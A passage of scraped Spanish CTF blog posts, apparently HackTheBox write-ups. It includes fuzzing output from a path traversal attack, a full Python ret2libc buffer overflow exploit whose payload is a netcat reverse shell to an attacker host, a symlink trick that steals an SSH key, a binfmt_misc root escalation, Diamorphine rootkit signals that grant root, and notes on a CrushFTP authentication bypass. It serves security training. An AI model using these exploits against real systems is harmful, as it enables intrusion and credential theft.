Lines: 1, Duration: 29ms] ../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms] ../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms] ../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms] ../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms] ../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms] ../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms] ../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms] ../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 44ms] ../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 45ms] ../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 49ms] ../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms] ../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms] etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 48ms] ../../../../../../etc/passwd\u0026amp;=%3C%3C%3C%3C [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms] /etc/rpc [Status: 200, Size: 1184, Words: 1, Lines: 1, Duration: 26ms] /etc/resolv.conf [Status: 200, Size: 52, Words: 1, Lines: 1, Duration: 26ms] /etc/ssh/sshd_config [Status: 200, Size: 4452, Words: 1, Lines: 1, Duration: 26ms] /proc/net/dev [Status: 200, Size: 600, Words: 1, Lines: 1, Duration: 32ms] /proc/net/arp [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 37ms] /proc/cpuinfo [Status: 200, Size: 3040, Words: 1, Lines: 1, Duration: 41ms] /proc/mounts [Status: 200, Size: 1956, Words: 1, Lines: 1, Duration: 41ms] /proc/interrupts [Status: 200, Size: 5576, Words: 1, Lines: 1, Duration: 41ms] /proc/loadavg [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 41ms] /proc/meminfo [Status: 200, Size: 1892, Words: 1, Lines: 1, Duration: 41ms] /proc/net/route [Status: 200, Size: 512, Words: 1, Lines: 1, Duration: 26ms] /proc/net/tcp [Status: 200, Size: 8800, Words: 1, Lines: 1, Duration: 26ms] /proc/self/cmdline [Status: 200, Size: 104, Words: 1, Lines: 1, Duration: 39ms] /proc/partitions [Status: 200, Size: 156, Words: 1, Lines: 1, Duration: 42ms] /proc/self/status [Status: 200, Size: 1780, Words: 1, Lines: 1, Duration: 39ms] /proc/version [Status: 200, Size: 248, Words: 1, Lines: 1, Duration: 39ms] /var/log/lastlog [Status: 200, Size: 390112, Words: 1, Lines: 1, Duration: 29ms] /var/log/wtmp [Status: 200, Size: 15360, Words: 1, Lines: 1, Duration: 25ms] /var/run/utmp [Status: 200, Size: 1536, Words: 1, Lines: 1, Duration: 26ms] ///////../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 25ms] Activación de licencia y servicio interno Conseguimos el código de beta.html y vemos un formulario que “activa la licencia”.\nEl formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.\ncat activate_liscence.php \u0026lt;?php if(isset($_FILES[\u0026#39;licensefile\u0026#39;])) { $license = file_get_contents($_FILES[\u0026#39;licensefile\u0026#39;][\u0026#39;tmp_name\u0026#39;]); $license_size = $_FILES[\u0026#39;licensefile\u0026#39;][\u0026#39;size\u0026#39;]; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socket) { echo \u0026#34;error socket_create()\\n\u0026#34;; } if (!socket_connect($socket, \u0026#39;127.0.0.1\u0026#39;, 1337)) { echo \u0026#34;error socket_connect()\u0026#34; . socket_strerror(socket_last_error()) . \u0026#34;\\n\u0026#34;; } socket_write($socket, pack(\u0026#34;N\u0026#34;, $license_size)); socket_write($socket, $license); socket_shutdown($socket); socket_close($socket); } ?\u0026gt; Efectivamente, el puerto está escuchando.\nHacemos strings buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: Buffer Overflow.\nProtecciones del binario Revisamos controles de seguridad.\nEsto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un stack-based buffer overflow.\nAnálisis en Ghidra: el bug uint32_t msglen; char buffer [512]; sVar2 = read(sockfd,\u0026amp;msglen,4); if (sVar2 == -1) { piVar3 = __errno_location(); pcVar4 = strerror(*piVar3); error(pcVar4); } msglen = ntohl(msglen); printf(\u0026#34;[+] reading %d bytes\\n\u0026#34;,msglen); sVar2 = read(sockfd,buffer,(ulong)msglen); Este código es vulnerable porque msglen está controlado por el usuario. Si enviamos un tamaño mayor que 512, read() desbordará el buffer.\nPara continuar, tenemos que identificar el offset hasta el Saved RIP (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.\nEncontrar el offset con patrón Usamos gdb y un patrón.\npattern create 600\nEl exploit para determinar el offset:\nEl programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.\nlen(msg): calcula la longitud del patrón. p32(...): empaqueta ese número en 4 bytes. endian='big': coincide con el ntohl del C (network order = big endian). Al principio explota porque falta una base de datos.\nCreamos una base de datos fake license.sqlite3 y ahora sí.\npattern search $rsp\n¿Por qué $rsp****? En x64, cuando se ejecuta RET, el procesador toma la dirección de retorno de donde apunta RSP. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.\nObtenemos un offset de 520.\nRet2Libc Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es Ret2Libc: reutilizar funciones de libc (por ejemplo system()).\nPor ASLR, libc cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:\nactbase: base del binario activate_license. libcbase: base de la librería libc. Para eso leemos /proc/\u0026lt;PID\u0026gt;/maps del proceso activate_license, y antes necesitamos el PID.\nTenemos PID (419).\nactivate_license → 55591a82b000 libc → 7ff574bbe000 Offset de system() en libc Descargamos libc-2.31.so del servidor para analizarla.\ncurl http://10.129.227.96/index.php?page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so objdump nos permite localizar system (offset 0x00048e50).\npop rdi; ret y zona escribible En x64, el primer argumento de una función va en RDI, así que necesitamos un gadget pop rdi; ret.\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit] └─# ropper -f ../loot/activate_license --search \u0026#39;pop rdi; ret\u0026#39; [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret [INFO] File: ../loot/activate_license 0x000000000000181b: pop rdi; ret; Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:\nBuscar una zona escribible (por ejemplo .data). Escribir ahí el comando en trozos. Llamar a system() apuntando a esa dirección. Con rabin2 -S vemos secciones y permisos (por ejemplo .data es -rw-).\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit] └─# rabin2 -S ../loot/activate_license [Sections] nth paddr size vaddr vsize perm type name ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000000 0x0 0x00000000 0x0 ---- NULL 1 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp 2 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE . note.gnu.build -id 3 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag 4 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash 5 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym 6 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr 7 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version 8 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r 9 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn 10 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt 11 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init 12 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt 13 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS . plt.got 14 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text 15 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini 16 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata 17 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr 18 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame 19 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array 20 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array 21 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic 22 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got 23 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data 24 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss 25 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment 26 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges 27 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info 28 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev 29 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line 30 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str 31 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab 32 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab 33 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab Exploit #!/usr/bin/python3 from sys import argv from pwn import * import requests # Esta función realiza todo el ataque def perform_rce(rhost, lhost): # --- 1. DIRECCIONES BASE (ASLR) --- # Dirección base donde se cargó el programa \u0026#34;activate_license\u0026#34; # (Coincide con la primera línea de /proc/maps) actbase = 0x561afcc08000 # Dirección base donde se cargó la librería \u0026#34;libc\u0026#34; # (Coincide con la línea de libc-2.31.so en /proc/maps) libcbase = 0x7fc7d4c5c000 print(f\u0026#34;[+] ActBase: {hex(actbase)}\u0026#34;) print(f\u0026#34;[+] LibcBase: {hex(libcbase)}\u0026#34;) # --- 2. GADGETS (HERRAMIENTAS DE ROP) --- # Son instrucciones pequeñas que ya existen en el programa/libc. # Gadget en el binario principal # Sirve para poner el primer argumento de una función (RDI) pop_rdi = p64(actbase + 0x0000181b) # pop rdi; ret; # Gadget en Libc: Sirve para poner el segundo argumento (RDX) # Lo usamos como \u0026#34;mochila\u0026#34; para llevar los trozos de nuestro comando pop_rdx = p64(libcbase + 0x000cb1cd) # pop rdx; ret; # Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI) mov_gadget = p64(libcbase + 0x0003ace5) # mov qword ptr [rdi], rdx; ret; # Dirección de la función system() en Libc system_addr = p64(libcbase + 0x00048e50) # --- 3. ZONA ESCRIBIBLE --- # Offset 0x4000 sacado de rabin2 (Sección .data) # Aquí es donde escribiremos nuestro comando malicioso byte a byte. writable = actbase + 0x00004000 # Offset del Buffer Overflow (confirmado previamente como 520) offset = 520 # --- 4. PREPARAR EL COMANDO (PAYLOAD) --- # Creamos el comando de reverse shell. # Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh. cmd = f\u0026#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc {lhost} 4444\u0026gt;/tmp/f\u0026#34;.encode() # Añadimos un byte nulo (\\x00) al final porque en C las cadenas terminan así. cmd += b\u0026#34;\\x00\u0026#34; # Rellenamos con ceros hasta que la longitud sea múltiplo de 8 # (Necesario porque en 64 bits escribimos de 8 en 8 bytes) if len(cmd) % 8 != 0: cmd += b\u0026#34;\\x00\u0026#34; * (8 - (len(cmd) % 8)) # --- 5. CONSTRUCCIÓN DE LA ROP CHAIN --- rop = b\u0026#39;\u0026#39; rop += b\u0026#39;A\u0026#39; * offset # Relleno basura hasta llegar al RIP (Instruction Pointer) # BUCLE DE ESCRITURA (Write-What-Where) # Divide el comando en trozos de 8 bytes y los escribe en la memoria .data for i in range(0, len(cmd), 8): chunk = cmd[i:i+8] # Coger 8 letras del comando # Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento) rop += pop_rdi rop += p64(writable + i) # Paso B: Decirle QUÉ escribir (RDX = las 8 letras) rop += pop_rdx rop += chunk.ljust(8, b\u0026#34;\\x00\u0026#34;) # Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI]) rop += mov_gadget # --- 6. EJECUCIÓN FINAL --- # Ahora que el comando está escrito en la memoria \u0026#39;writable\u0026#39;, lo ejecutamos. rop += pop_rdi # Poner en RDI la dirección donde escribimos el comando rop += p64(writable) rop += system_addr # Llamar a system() -\u0026gt; system(\u0026#34;tu_comando\u0026#34;) # --- 7. EMPAQUETADO Y ENVÍO --- # Guardamos el ROP en un archivo filename = \u0026#39;revshell.key\u0026#39; with open(filename, \u0026#39;wb\u0026#39;) as f: f.write(rop) print(f\u0026#34;[+] Payload generado en {filename}\u0026#34;) print(f\u0026#34;[+] Enviando petición a http://{rhost}/activate_license.php ...\u0026#34;) # Preparamos la subida del archivo tal como lo espera el PHP files = { \u0026#34;licensefile\u0026#34;: (filename, open(filename, \u0026#34;rb\u0026#34;), \u0026#39;application/octet-stream\u0026#39;) } try: # Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow. requests.post(f\u0026#34;http://{rhost}/activate_license.php\u0026#34;, files=files) print(\u0026#34;[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!\u0026#34;) except Exception as e: print(f\u0026#34;[-] Error enviando exploit: {e}\u0026#34;) # Punto de entrada del script if __name__ == \u0026#34;__main__\u0026#34;: if len(argv) \u0026lt; 3: print(f\u0026#34;Uso: python3 {argv[0]} \u0026lt;RHOST\u0026gt; \u0026lt;LHOST\u0026gt;\u0026#34;) print(\u0026#34;Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44\u0026#34;) exit(1) perform_rce(argv[1], argv[2]) Tenemos reverse shell.\nEscalada a dev vía servicio de backups Enumerando en busca de credenciales (queremos acceso a dev), en /var/www vemos .zip que parecen backups. No hay mucho directo, pero hay timers configurados.\nNos llama la atención el backup service, porque se ejecuta como dev.\nEl script:\nwww-data@retired:/var/www$ cat /usr/bin/webbackup #!/bin/bash set -euf -o pipefail cd /var/www/ SRC=/var/www/html DST=\u0026#34;/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip\u0026#34; /usr/bin/rm --force -- \u0026#34;$DST\u0026#34; /usr/bin/zip --recurse-paths \u0026#34;$DST\u0026#34; \u0026#34;$SRC\u0026#34; KEEP=10 /usr/bin/find /var/www/ -maxdepth 1 -name \u0026#39;*.zip\u0026#39; -print0 \\ | sort --zero-terminated --numeric-sort --reverse \\ | while IFS= read -r -d \u0026#39;\u0026#39; backup; do if [ \u0026#34;$KEEP\u0026#34; -le 0 ]; then /usr/bin/rm --force -- \u0026#34;$backup\u0026#34; fi KEEP=\u0026#34;$((KEEP-1))\u0026#34; done La idea es aprovechar cómo zip trata enlaces simbólicos cuando corre como dev:\nEl sistema arranca el script como el usuario dev. zip empieza a comprimir /var/www/html. zip se encuentra con un enlace simbólico. El comportamiento por defecto de zip es seguir enlaces simbólicos y archivar el destino. Como el script corre como dev, tiene permisos de lectura sobre /home/dev. El .zip generado en /var/www/ puede incluir ficheros de dev. Creamos el symlink. No me ha funcionado apuntando a todo /home/dev, así que apuntamos directamente a la clave SSH.\nln -s /home/dev/.ssh/id_rsa ssh_key.txt unzip 2026-01-16_11-06-06-html.zip Archive: 2026-01-16_11-06-06-html.zip .... inflating: var/www/html/ssh_key.txt .... Con esto conseguimos user flag.\nEscalada a root: binfmt_misc + capabilities En el directorio de dev encontramos un proyecto en C.\nemuemu.c:\ndev@retired:~/emuemu$ cat emuemu.c #include \u0026lt;stdio.h\u0026gt; /* currently this is only a dummy implementation doing nothing */ int main(void) { puts(\u0026#34;EMUEMU is still under development.\u0026#34;); return 1; } Y otro archivo que permite escribir en binfmt_misc/register.\ndev@retired:~/emuemu$ cat reg_helper.c #define _GNU_SOURCE #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main(void) { char cmd[512] = { 0 }; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0; int fd = open(\u0026#34;/proc/sys/fs/binfmt_misc/register\u0026#34;, O_WRONLY); if (-1 == fd) perror(\u0026#34;open\u0026#34;); if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1) perror(\u0026#34;write\u0026#34;); if (close(fd) == -1) perror(\u0026#34;close\u0026#34;); return 0; } Encontramos la idea en “HackTricks”:\n/proc/sys/fs/binfmt_misc /proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered for non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers. You can find an exploit in https://github.com/toffan/binfmt_misc: Poor man\u0026#39;s rootkit, leverage binfmt_misc\u0026#39;s credentials option to escalate privilege through any suid binary (and to get a root shell) if /proc/sys/fs/binfmt_misc/register is writeable. Del Makefile se ve que reg_helper se instala en /usr/lib/emuemu y recibe cap_dac_override, permitiendo escribir en el register.\ndev@retired:~/emuemu$ cat Makefile CC := gcc CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion SOURCES := $(wildcard *.c) TARGETS := $(SOURCES:.c=) .PHONY: install clean install: $(TARGETS) @echo \u0026#34;[+] Installing program files\u0026#34; install --mode 0755 emuemu /usr/bin/ mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d install --mode 0750 --group dev reg_helper /usr/lib/emuemu/ setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper @echo \u0026#34;[+] Register OSTRICH ROMs for execution with EMUEMU\u0026#34; echo \u0026#39;:EMUEMU:M::\\x13\\x37OSTRICH\\x00ROM\\x00::/usr/bin/emuemu:\u0026#39; \\ | tee /usr/lib/binfmt.d/emuemu.conf \\ | /usr/lib/emuemu/reg_helper clean: rm -f -- $(TARGETS) Confirmamos que existe, es ejecutable por el grupo dev y tiene cap_dac_override.\nSegún la documentación del kernel: Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation\nPara registrar un tipo nuevo hay que escribir una cadena con este formato:\n:name:type:offset:magic:mask:interpreter:flags\nEl flag que nos interesa:\nC - credentials\nCuando se incluye, las credenciales se calculan según el binario. Implica O, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.\nLa idea es registrar una entrada con C para que se ejecute como root.\nCreamos un binario que asigna permisos laxos a /bin/bash para explotar el comportamiento, y lo usamos como intérprete.\nLo compilamos:\ngcc -o root root.c Buscamos un binario SUID root para disparar la ejecución.\ndev@retired:~/emuemu$ find / -user root -perm -4000 -executable 2\u0026gt;/dev/null /usr/bin/newgrp /usr/bin/passwd /usr/bin/chfn /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/su /usr/bin/chsh /usr/bin/sudo /usr/bin/mount /usr/bin/umount /usr/lib/openssh/ssh-keysign Podemos usar cualquiera de estos ejecutables.\nCon la flag E podemos registrar por extensión.\ntype es el tipo de reconocimiento. M para magic y E para extension. ","permalink":"https://synacklabs.github.io/posts/retired/","tags":["Linux","LFI","BufferOverflow"],"title":"Retired (Medium)"},{"categories":["Challenge"],"content":"Contexto y objetivo Cyberpsychosis es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.\nEl challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.\nReconocimiento inicial Al descomprimir el archivo proporcionado, encontramos un fichero con extensión .ko: diamorphine.ko\nIdentificamos el tipo de archivo:\nfile diamorphine.ko Se trata de un Kernel Object, es decir, un módulo de kernel cargable (LKM) para sistemas Linux. Estos módulos operan en ring 0 con privilegios absolutos sobre el sistema.\nUna búsqueda inicial revela que Diamorphine es un rootkit LKM público y bien documentado, diseñado para:\nOcultar procesos del sistema Elevar privilegios de usuarios arbitrarios Ocultarse a sí mismo de herramientas de monitorización Persistir en el kernel Análisis estático Carga en Ghidra Cargamos el módulo diamorphine.ko en Ghidra para realizar ingeniería inversa del código. Como primer paso, inspeccionamos las strings presentes en el binario para identificar indicadores de comportamiento.\nLas strings confirman la presencia de Diamorphine, mostrando referencias al proyecto original. Esto valida nuestra hipótesis inicial sobre la naturaleza del rootkit.\nDocumentación del comportamiento estándar Consultamos el repositorio oficial del proyecto (https://github.com/m0nad/Diamorphine) para comprender el comportamiento esperado:\nSegún la documentación, el módulo responde a señales de Unix (kill) para activar funcionalidades:\nSeñal 31: Ocultar o mostrar un proceso específico Señal 63: Alternar visibilidad del módulo en lsmod Señal 64: Otorgar privilegios de root al proceso que envía la señal El procedimiento estándar de desinstalación es:\nkill -63 0 # Hacer visible el módulo rmmod diamorphine # Eliminar el módulo (como root) Análisis dinámico Primer intento de desactivación Nos conectamos al servicio remoto proporcionado:\nnc \u0026lt;IP\u0026gt; \u0026lt;Puerto\u0026gt; Aplicamos el procedimiento documentado para hacer visible el módulo y eliminarlo:\nEl sistema entra en kernel panic inmediatamente. Esto indica que el rootkit ha sido modificado intencionalmente y no sigue el comportamiento del Diamorphine original. La señal 63 no es la correcta en esta versión.\nIdentificación de la modificación Retornamos al análisis estático. Navegamos a la función hacked_kill(), responsable de procesar las señales enviadas al módulo.\nObservamos que la condición que controla la visibilidad del módulo compara contra un valor en hexadecimal. Convertimos el valor a decimal mediante clic derecho en Ghidra:\nEl número mágico modificado es 46, no 63 como en la versión original.\nSolución: Desactivación del rootkit modificado Con la señal correcta identificada, procedemos a desactivar el rootkit:\nHacer visible el módulo con la señal modificada: kill -46 0 Obtener privilegios de root con la señal documentada: kill -64 0 El rootkit ahora es visible y tenemos privilegios de root sin causar kernel panic.\nRecuperación de la flag Búsqueda en el sistema de archivos Sabiendo que HackTheBox almacena sus flags típicamente en archivos .txt, realizamos una búsqueda recursiva en todo el sistema:\nfind / -name \u0026#34;*.txt\u0026#34; 2\u0026gt;/dev/null La búsqueda revela la ubicación del archivo que contiene la información oculta.\nVerificación final Leemos el contenido de la flag:\ncat /ruta/al/archivo.txt Obtenemos la flag y completamos el challenge.\nConclusión Este challenge ilustra varios conceptos críticos en análisis de malware y respuesta a incidentes:\nAprendizajes técnicos:\nLos rootkits LKM operan en ring 0 y pueden interceptar syscalls arbitrarias La función kill() puede ser hookeada para implementar backdoors mediante señales personalizadas El análisis estático es imprescindible cuando la documentación pública no coincide con el comportamiento observado Los rootkits modificados requieren ingeniería inversa completa, sin asumir comportamiento estándar Técnicas aplicadas:\nAnálisis estático con Ghidra para identificar modificaciones en código conocido Correlación entre comportamiento documentado y comportamiento real Escalado de privilegios mediante funcionalidades maliciosas del rootkit Implicaciones defensivas:\nLos LKM son extremadamente difíciles de detectar una vez cargados La verificación de integridad de módulos del kernel (module signing, Secure Boot) es crítica Herramientas como LKRG (Linux Kernel Runtime Guard) pueden detectar hooks en syscalls La respuesta a incidentes con rootkits requiere arranque desde medios externos confiables ","permalink":"https://synacklabs.github.io/posts/cyberpsychosis/","tags":["Reversing","RootKit","Ghidra"],"title":"Cyberpsychosis (Easy)"},{"categories":["Challenge"],"content":"Contexto y objetivo Exalton es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.\nLa protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.\nReconocimiento inicial Tras descargar el binario, realizamos una identificación básica con file:\nfile exalton Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.\nAnálisis estático Abrimos el binario en Ghidra para realizar el análisis estático. Comenzamos inspeccionando las strings del binario, pero no encontramos información relevante que revele directamente la contraseña.\nFunción main() En la función main(), observamos la lógica principal del programa:\nEl programa solicita una entrada al usuario mediante scanf y posteriormente la pasa como argumento a una función llamada exalton(). El valor de retorno de esta función se compara contra un array de 36 valores enteros hardcodeados en el código.\nEstos valores representan la transformación esperada de cada carácter de la contraseña correcta:\n[1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816, 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816, 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856, 784, 1776, 1760, 528, 528, 2000] Función exalton() Analizamos la función exalton() para comprender la transformación aplicada:\nLa función realiza las siguientes operaciones sobre cada carácter de la entrada:\nRecorre la cadena carácter por carácter mediante un bucle Convierte cada carácter a su valor ASCII (implícito en C al tratar char como entero) Aplica un desplazamiento de bits a la izquierda de 4 posiciones (\u0026lt;\u0026lt; 4) La operación x \u0026lt;\u0026lt; 4 equivale a multiplicar por 2⁴ = 16. Por tanto, la transformación es:\nvalor_transformado = ASCII(carácter) × 16 Solución: Reversión de la transformación Para recuperar la contraseña original, debemos aplicar la operación inversa a cada valor del array. Si la transformación fue x \u0026lt;\u0026lt; 4, la inversa es x \u0026gt;\u0026gt; 4 (desplazamiento a la derecha).\nImplementamos un script en Python que:\nToma cada valor del array Aplica \u0026gt;\u0026gt; 4 para revertir la multiplicación por 16 Convierte el resultado a su carácter ASCII correspondiente def transform_inversa(numbers): result = \u0026#34;\u0026#34; for n in numbers: ascii_val = n \u0026gt;\u0026gt; 4 # Revertir el desplazamiento result += chr(ascii_val) return result password = [1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816, 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816, 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856, 784, 1776, 1760, 528, 528, 2000] print(transform_inversa(password)) Resultado y verificación Al ejecutar el script, obtenemos la contraseña correcta. Verificamos ejecutando el binario con la contraseña recuperada:\nEl programa acepta la entrada y nos revela la flag.\nConclusión Este challenge ilustra una técnica común en reversing: transformaciones aritméticas simples aplicadas a la entrada del usuario. Aunque el operador de desplazamiento de bits puede parecer complejo a simple vista, su equivalencia con operaciones aritméticas lo hace reversible de forma trivial.\nAprendizajes técnicos:\nLos operadores bit a bit (\u0026lt;\u0026lt;, \u0026gt;\u0026gt;) son frecuentemente usados en validaciones de contraseña La operación \u0026lt;\u0026lt; 4 es equivalente a × 16 y \u0026gt;\u0026gt; 4 a ÷ 16 Ghidra facilita la identificación de patrones de transformación mediante la descompilación Implicación defensiva: Este tipo de validación ofrece protección nula contra análisis estático, ya que los valores esperados están expuestos directamente en el binario. Una implementación más robusta requeriría hashing criptográfico o validación remota.\n","permalink":"https://synacklabs.github.io/posts/exalton/","tags":["Reversing","Ghidra","password"],"title":"Exalton"},{"categories":["Machine"],"content":"\nResumen Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con CrushFTP. Se utiliza un exploit público de la CVE-2025-31161 para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.\nPuerto 80: primera observación Se trata de una app de citas. La funcionalidad de subida de fotos sugiere una posible vulnerabilidad de file upload.\nEl endpoint donde se guardan/gestionan las imágenes:\nLa idea es encontrar una forma de subir contenido malicioso que termine ejecutándose en el servidor.\nSe observa que el endpoint cambia los últimos 3 dígitos, lo que parece relevante para activar o localizar la shell.\nEnumeración: subdominios y vhosts Se realizan descubrimientos de subdominios y vhosts.\nAparece un panel y se obtiene información del servicio: CrushFTP.\nExploit utilizado:\nhttps://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py\n¿Cómo funciona técnicamente? (CVE-2025-31161) Proceso de autenticación (race condition): el servidor CrushFTP emplea el método AWS4-HMAC-SHA256 (compatible S3) para autorizar peticiones. Al recibir una autenticación, primero verifica la existencia del usuario (p. ej. login_user_pass()) sin exigir contraseña, lo que durante un lapso breve deja la sesión en un estado “válido”. Si durante ese lapso se envía un header Authorization malformado (por ejemplo, con solo el nombre de usuario y una /, como AWS4-HMAC-SHA256 Credential=crushadmin/), se puede provocar un error que evita que la sesión se cierre y mantiene la autenticación sin validación. Con ello, se puede actuar como un usuario conocido (especialmente crushadmin, por ser cuenta por defecto) y obtener control del servidor. Acceso al panel Estamos dentro.\nEnumeración de usuarios disponibles:\nWeb shell a través de la foto de perfil Desde un usuario con permisos administrativos, se renombra la foto de perfil para intentar obtener una web shell.\nComprobación:\n/etc/passwd Shell y credenciales encontradas Se obtiene una shell.\nRevisión de configuración:\nconfig Credencial observada:\nCrush4dmin990\nVía alternativa: acceso como otro usuario Otra manera de acceder: se cambia la contraseña de ben y se entra como ese usuario para subir una shell.\nEscalada: servicio interno SSH (Erlang 5.2.9) Se detecta un servicio SSH interno en el puerto 2222.\nlink_preview\nSe modifica el 